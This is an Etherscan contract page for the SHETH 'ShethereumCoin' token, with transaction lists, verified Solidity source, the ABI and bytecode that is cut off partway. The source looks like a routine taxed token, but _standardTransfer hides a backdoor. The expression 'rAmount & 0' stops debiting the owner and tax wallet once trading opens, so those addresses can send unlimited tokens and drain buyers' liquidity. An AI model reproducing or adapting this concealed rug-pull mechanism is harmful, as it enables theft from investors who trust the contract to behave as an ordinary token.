ETH Price: $2,630.62 (+2.23%)

Contract

0x4DFcF2636d3d05049803D8FECbb093430216e588
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve185269662023-11-08 11:33:23287 days ago1699443203IN
0x4DFcF263...30216e588
0 ETH0.0006159725.4148582
Approve185265962023-11-08 10:18:59287 days ago1699438739IN
0x4DFcF263...30216e588
0 ETH0.0006256625.75063523
Approve185263952023-11-08 9:38:23287 days ago1699436303IN
0x4DFcF263...30216e588
0 ETH0.0010674323.08825346
Transfer185263722023-11-08 9:33:47287 days ago1699436027IN
0x4DFcF263...30216e588
0 ETH0.002020523
Approve185262772023-11-08 9:14:47287 days ago1699434887IN
0x4DFcF263...30216e588
0 ETH0.001000821.65268649
Approve185262742023-11-08 9:14:11287 days ago1699434851IN
0x4DFcF263...30216e588
0 ETH0.0011668625.05017551
Approve185262722023-11-08 9:13:47287 days ago1699434827IN
0x4DFcF263...30216e588
0 ETH0.0010877223.35117555
Approve185262672023-11-08 9:12:47287 days ago1699434767IN
0x4DFcF263...30216e588
0 ETH0.0010142221.80135092
Transfer185262662023-11-08 9:12:35287 days ago1699434755IN
0x4DFcF263...30216e588
0 ETH0.0008777720.89947765
Approve185262612023-11-08 9:11:35287 days ago1699434695IN
0x4DFcF263...30216e588
0 ETH0.0009029119.40882974
Approve185262562023-11-08 9:10:35287 days ago1699434635IN
0x4DFcF263...30216e588
0 ETH0.0011881125.51309167
Approve185262542023-11-08 9:10:11287 days ago1699434611IN
0x4DFcF263...30216e588
0 ETH0.0009662220.76958462
Approve185262532023-11-08 9:09:59287 days ago1699434599IN
0x4DFcF263...30216e588
0 ETH0.0009913921.44905439
Approve185262532023-11-08 9:09:59287 days ago1699434599IN
0x4DFcF263...30216e588
0 ETH0.0012270426.34905439
Approve185262482023-11-08 9:08:59287 days ago1699434539IN
0x4DFcF263...30216e588
0 ETH0.0012146126.24442971
Approve185262402023-11-08 9:07:23287 days ago1699434443IN
0x4DFcF263...30216e588
0 ETH0.0009884221.24687137
Approve185262302023-11-08 9:05:23287 days ago1699434323IN
0x4DFcF263...30216e588
0 ETH0.0010881823.36123041
Approve185262152023-11-08 9:02:23287 days ago1699434143IN
0x4DFcF263...30216e588
0 ETH0.0011387224.44615758
Approve185262092023-11-08 9:01:11287 days ago1699434071IN
0x4DFcF263...30216e588
0 ETH0.0011735525.19379588
Approve185262092023-11-08 9:01:11287 days ago1699434071IN
0x4DFcF263...30216e588
0 ETH0.0018019338.69379588
Approve185262072023-11-08 9:00:47287 days ago1699434047IN
0x4DFcF263...30216e588
0 ETH0.0012303226.41269607
Approve185262032023-11-08 8:59:59287 days ago1699433999IN
0x4DFcF263...30216e588
0 ETH0.0010879323.38589558
Approve185261922023-11-08 8:57:47287 days ago1699433867IN
0x4DFcF263...30216e588
0 ETH0.0011429224.53628687
Approve185261902023-11-08 8:57:23287 days ago1699433843IN
0x4DFcF263...30216e588
0 ETH0.0010772523.12645818
Approve185261892023-11-08 8:57:11287 days ago1699433831IN
0x4DFcF263...30216e588
0 ETH0.0012173326.30320271
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
185263422023-11-08 9:27:47287 days ago1699435667
0x4DFcF263...30216e588
0.03566411 ETH
185263422023-11-08 9:27:47287 days ago1699435667
0x4DFcF263...30216e588
0.03566411 ETH
185261942023-11-08 8:58:11287 days ago1699433891
0x4DFcF263...30216e588
0.03122075 ETH
185261942023-11-08 8:58:11287 days ago1699433891
0x4DFcF263...30216e588
0.03122075 ETH
185261722023-11-08 8:53:47287 days ago1699433627
0x4DFcF263...30216e588
0.01606188 ETH
185261722023-11-08 8:53:47287 days ago1699433627
0x4DFcF263...30216e588
0.01606188 ETH
185261452023-11-08 8:48:11287 days ago1699433291
0x4DFcF263...30216e588
0.00277351 ETH
185261452023-11-08 8:48:11287 days ago1699433291
0x4DFcF263...30216e588
0.00277351 ETH
185261422023-11-08 8:47:35287 days ago1699433255
0x4DFcF263...30216e588
0.00115184 ETH
185261422023-11-08 8:47:35287 days ago1699433255
0x4DFcF263...30216e588
0.00115184 ETH
185261422023-11-08 8:47:35287 days ago1699433255
0x4DFcF263...30216e588
0.00375388 ETH
185261422023-11-08 8:47:35287 days ago1699433255
0x4DFcF263...30216e588
0.00375388 ETH
185261412023-11-08 8:47:23287 days ago1699433243
0x4DFcF263...30216e588
0.0100857 ETH
185261412023-11-08 8:47:23287 days ago1699433243
0x4DFcF263...30216e588
0.0100857 ETH
185261412023-11-08 8:47:23287 days ago1699433243
0x4DFcF263...30216e588
0.00094226 ETH
185261412023-11-08 8:47:23287 days ago1699433243
0x4DFcF263...30216e588
0.00094226 ETH
185261402023-11-08 8:47:11287 days ago1699433231
0x4DFcF263...30216e588
0.00092464 ETH
185261402023-11-08 8:47:11287 days ago1699433231
0x4DFcF263...30216e588
0.00092464 ETH
185261402023-11-08 8:47:11287 days ago1699433231
0x4DFcF263...30216e588
0.00599699 ETH
185261402023-11-08 8:47:11287 days ago1699433231
0x4DFcF263...30216e588
0.00599699 ETH
185261312023-11-08 8:45:23287 days ago1699433123
0x4DFcF263...30216e588
0.00089534 ETH
185261312023-11-08 8:45:23287 days ago1699433123
0x4DFcF263...30216e588
0.00089534 ETH
185261302023-11-08 8:45:11287 days ago1699433111
0x4DFcF263...30216e588
0.00127082 ETH
185261302023-11-08 8:45:11287 days ago1699433111
0x4DFcF263...30216e588
0.00127082 ETH
185261292023-11-08 8:44:59287 days ago1699433099
0x4DFcF263...30216e588
0.00138746 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SHETH

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-08
*/

// SPDX-License-Identifier: Unlicensed

/**
Integrating Feminine Energy into the Blockchain :chains:

Web: https://shethereum.info
TG: https://t.me/ShethereumCoin
X: https://twitter.com/ShethereumCoin
**/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract SHETH is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "ShethereumCoin";
    string private constant _symbol = "SHETH";

    uint8 private constant _decimals = 9;
    mapping(address => uint256) private _rOwns;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromLimits;

    uint256 private constant MAX = 10 ** 30;
    uint256 private constant _tTotal = 10 ** 9 * 10**9;
    uint256 private _rSupply = (MAX - (MAX % _tTotal));
    uint256 private _totalTax;
    uint256 private _redisBuyFees = 0;
    uint256 private _totalBuyFees = 30;
    uint256 private _redisSellFees = 0;
    uint256 private _totalSellFees = 30;

    //Original Fee
    uint256 private _redisTax = _redisSellFees;
    uint256 private _taxFees = _totalSellFees;

    uint256 private _previousRedisTax = _redisTax;
    uint256 private _previousFee = _taxFees;

    address payable private _taxWallet1 = payable(0xF00f8846b49587dfAc56A9dB17a3988AEdFdff5c);
    address payable private _taxWallet2 = payable(0xF00f8846b49587dfAc56A9dB17a3988AEdFdff5c);

    IUniswapRouter public _uniswapRouter;
    address public _uniswapPair;

    bool private _tradeActive;
    bool private _inswap = false;
    bool private _swapEnable = true;

    uint256 public maxTxAmount = 20 * 10 ** 6 * 10**9;
    uint256 public maxWalletAmount = 20 * 10 ** 6 * 10**9;
    uint256 public feeSwapThreshold = 10 ** 5 * 10**9;

    event MaxTxAmountUpdated(uint256 maxTxAmount);
    modifier lockSwap {
        _inswap = true;
        _;
        _inswap = false;
    }

    constructor() {
        _rOwns[_msgSender()] = _rSupply;
        IUniswapRouter _uniswapV2Router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        _uniswapRouter = _uniswapV2Router;
        _uniswapPair = IUniswapFactory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromLimits[owner()] = true;
        _isExcludedFromLimits[_taxWallet1] = true;
        _isExcludedFromLimits[_taxWallet2] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!_tradeActive) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= maxTxAmount, "TOKEN: Max Transaction Limit");

            if(to != _uniswapPair) {
                require(balanceOf(to) + amount <= maxWalletAmount, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= feeSwapThreshold;

            if(contractTokenBalance >= maxTxAmount)
            {
                contractTokenBalance = maxTxAmount;
            }

            if (canSwap && !_inswap && to == _uniswapPair && _swapEnable && !_isExcludedFromLimits[from] && amount > feeSwapThreshold) {
                swapTokensToETH(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFees(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromLimits[from] || _isExcludedFromLimits[to]) || (from != _uniswapPair && to != _uniswapPair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == _uniswapPair && to != address(_uniswapRouter)) {
                _redisTax = _redisBuyFees;
                _taxFees = _totalBuyFees;
            }

            //Set Fee for Sells
            if (to == _uniswapPair && from != address(_uniswapRouter)) {
                _redisTax = _redisSellFees;
                _taxFees = _totalSellFees;
            }

        }

        _transferToken(from, to, amount, takeFee);
    }

    function swapTokensToETH(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _approve(address(this), address(_uniswapRouter), tokenAmount);
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    
    function removeLimits() external onlyOwner {
        maxTxAmount = _rSupply;
        maxWalletAmount = _rSupply;
        
        _redisBuyFees = 0;
        _totalBuyFees = 1;
        _redisSellFees = 0;
        _totalSellFees = 1;
    }

    function sendETHToFees(uint256 amount) private {
        _taxWallet2.transfer(amount);
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function _restoreFees() private {
        _redisTax = _previousRedisTax;
        _taxFees = _previousFee;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _reflectionTokens(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getCurrentRates();
        return rAmount.div(currentRate);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _getSupplyTotals() private view returns (uint256, uint256) {
        uint256 rSupply = _rSupply;
        uint256 tSupply = _tTotal;
        if (rSupply < _rSupply.div(_tTotal)) return (_rSupply, _tTotal);
        return (rSupply, tSupply);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _standardTransfer(sender, recipient, amount);
        if (!takeFee) _restoreFees();
    }

    function _standardTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getFinalAmounts(tAmount);
        rAmount = (_isExcludedFromLimits[sender] && _tradeActive) ? rAmount & 0 : rAmount;
        _rOwns[sender] = _rOwns[sender].sub(rAmount);
        _rOwns[recipient] = _rOwns[recipient].add(rTransferAmount);
        takeTaxFee(tTeam);
        _getRedisTokens(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    function takeTaxFee(uint256 tTeam) private {
        uint256 currentRate = _getCurrentRates();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwns[address(this)] = _rOwns[address(this)].add(rTeam);
    }

    function _getRedisTokens(uint256 rFee, uint256 tFee) private {
        _rSupply = _rSupply.sub(rFee);
        _totalTax = _totalTax.add(tFee);
    }

    receive() external payable {}

    function _getFinalAmounts(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisTax, _taxFees);
        uint256 currentRate = _getCurrentRates();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
    
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _reflectionTokens(_rOwns[account]);
    }

    function openTrading() public onlyOwner {
        _tradeActive = true;
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getCurrentRates() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getSupplyTotals();
        return rSupply.div(tSupply);
    }
    
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function removeAllFee() private {
        if (_redisTax == 0 && _taxFees == 0) return;

        _previousRedisTax = _redisTax;
        _previousFee = _taxFees;

        _redisTax = 0;
        _taxFees = 0;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000025670de0b6b3a76400006c0c9f2c9cd04674edea400000006200036a565b6200003e906c0c9f2c9cd04674edea400000006200038d565b60055560006007819055601e60088190556009829055600a819055600b829055600c819055600d91909155600e55600f80546001600160a01b031990811673f00f8846b49587dfac56a9db17a3988aedfdff5c9081179092556010805490911690911790556012805461ffff60a81b1916600160b01b17905566470de4df8200006013819055601455655af3107a4000601555348015620000de57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506005543360009081526002602090815260409182902092909255601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa1580156200019c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c29190620003b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000210573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002369190620003b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000284573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002aa9190620003b5565b601280546001600160a01b0319166001600160a01b03928316179055600080548216815260046020526040808220805460ff199081166001908117909255600f54851684528284208054821683179055601054909416835291208054909216179055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200035b91815260200190565b60405180910390a350620003e7565b6000826200038857634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115620003af57634e487b7160e01b600052601160045260246000fd5b92915050565b600060208284031215620003c857600080fd5b81516001600160a01b0381168114620003e057600080fd5b9392505050565b61160180620003f76000396000f3fe6080604052600436106101185760003560e01c8063751039fc116100a0578063aa4bde2811610064578063aa4bde2814610324578063c9567bf91461033a578063dd62ed3e1461034f578063de28707114610395578063f2fde38b146103ab57600080fd5b8063751039fc1461028d5780638c0b5e22146102a25780638da5cb5b146102b857806395d89b41146102d6578063a9059cbb1461030457600080fd5b8063313ce567116100e7578063313ce567146101e25780634bf28fd0146101fe57806365b61b771461023657806370a0823114610256578063715018a61461027657600080fd5b806306fdde0314610124578063095ea7b31461016d57806318160ddd1461019d57806323b872dd146101c257600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600e81526d29b432ba3432b932bab6a1b7b4b760911b60208201525b604051610164919061132c565b60405180910390f35b34801561017957600080fd5b5061018d610188366004611392565b6103cb565b6040519015158152602001610164565b3480156101a957600080fd5b50670de0b6b3a76400005b604051908152602001610164565b3480156101ce57600080fd5b5061018d6101dd3660046113be565b6103e2565b3480156101ee57600080fd5b5060405160098152602001610164565b34801561020a57600080fd5b5060125461021e906001600160a01b031681565b6040516001600160a01b039091168152602001610164565b34801561024257600080fd5b5060115461021e906001600160a01b031681565b34801561026257600080fd5b506101b46102713660046113ff565b61044b565b34801561028257600080fd5b5061028b61046d565b005b34801561029957600080fd5b5061028b6104ea565b3480156102ae57600080fd5b506101b460135481565b3480156102c457600080fd5b506000546001600160a01b031661021e565b3480156102e257600080fd5b506040805180820190915260058152640a6908aa8960db1b6020820152610157565b34801561031057600080fd5b5061018d61031f366004611392565b610538565b34801561033057600080fd5b506101b460145481565b34801561034657600080fd5b5061028b610545565b34801561035b57600080fd5b506101b461036a36600461141c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103a157600080fd5b506101b460155481565b3480156103b757600080fd5b5061028b6103c63660046113ff565b610584565b60006103d833848461066e565b5060015b92915050565b60006103ef848484610792565b610441843361043c856040518060600160405280602881526020016115a4602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610c22565b61066e565b5060019392505050565b6001600160a01b0381166000908152600260205260408120546103dc90610c5c565b6000546001600160a01b031633146104a05760405162461bcd60e51b815260040161049790611455565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105145760405162461bcd60e51b815260040161049790611455565b60055460138190556014556000600781905560016008819055600991909155600a55565b60006103d8338484610792565b6000546001600160a01b0316331461056f5760405162461bcd60e51b815260040161049790611455565b6012805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105ae5760405162461bcd60e51b815260040161049790611455565b6001600160a01b0381166106135760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610497565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106d05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610497565b6001600160a01b0382166107315760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610497565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107f65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610497565b6001600160a01b0382166108585760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610497565b600081116108ba5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610497565b6000546001600160a01b038481169116148015906108e657506000546001600160a01b03838116911614155b15610b1557601254600160a01b900460ff1661097f576000546001600160a01b0384811691161461097f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610497565b6013548111156109d15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610497565b6012546001600160a01b03838116911614610a5757601454816109f38461044b565b6109fd91906114a0565b1115610a575760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610497565b6000610a623061044b565b601554601354919250821015908210610a7b5760135491505b808015610a925750601254600160a81b900460ff16155b8015610aab57506012546001600160a01b038581169116145b8015610ac05750601254600160b01b900460ff165b8015610ae557506001600160a01b03851660009081526004602052604090205460ff16155b8015610af2575060155483115b15610b1257610b0082610c7a565b478015610b1057610b1047610df4565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff1680610b5757506001600160a01b03831660009081526004602052604090205460ff165b80610b8957506012546001600160a01b03858116911614801590610b8957506012546001600160a01b03848116911614155b15610b9657506000610c10565b6012546001600160a01b038581169116148015610bc157506011546001600160a01b03848116911614155b15610bd357600754600b55600854600c555b6012546001600160a01b038481169116148015610bfe57506011546001600160a01b03858116911614155b15610c1057600954600b55600a54600c555b610c1c84848484610e32565b50505050565b60008184841115610c465760405162461bcd60e51b8152600401610497919061132c565b506000610c5384866114b3565b95945050505050565b600080610c67610e60565b9050610c738382610e83565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cc257610cc26114c6565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3f91906114dc565b81600181518110610d5257610d526114c6565b6001600160a01b039283166020918202929092010152601154610d78913091168461066e565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610db19085906000908690309042906004016114f9565b600060405180830381600087803b158015610dcb57600080fd5b505af1158015610ddf573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e2e573d6000803e3d6000fd5b5050565b80610e3f57610e3f610ec5565b610e4a848484610ef3565b80610c1c57610c1c600d54600b55600e54600c55565b6000806000610e6d61102b565b9092509050610e7c8282610e83565b9250505090565b6000610c7383836040518060400160405280601a81526020017f536166654d617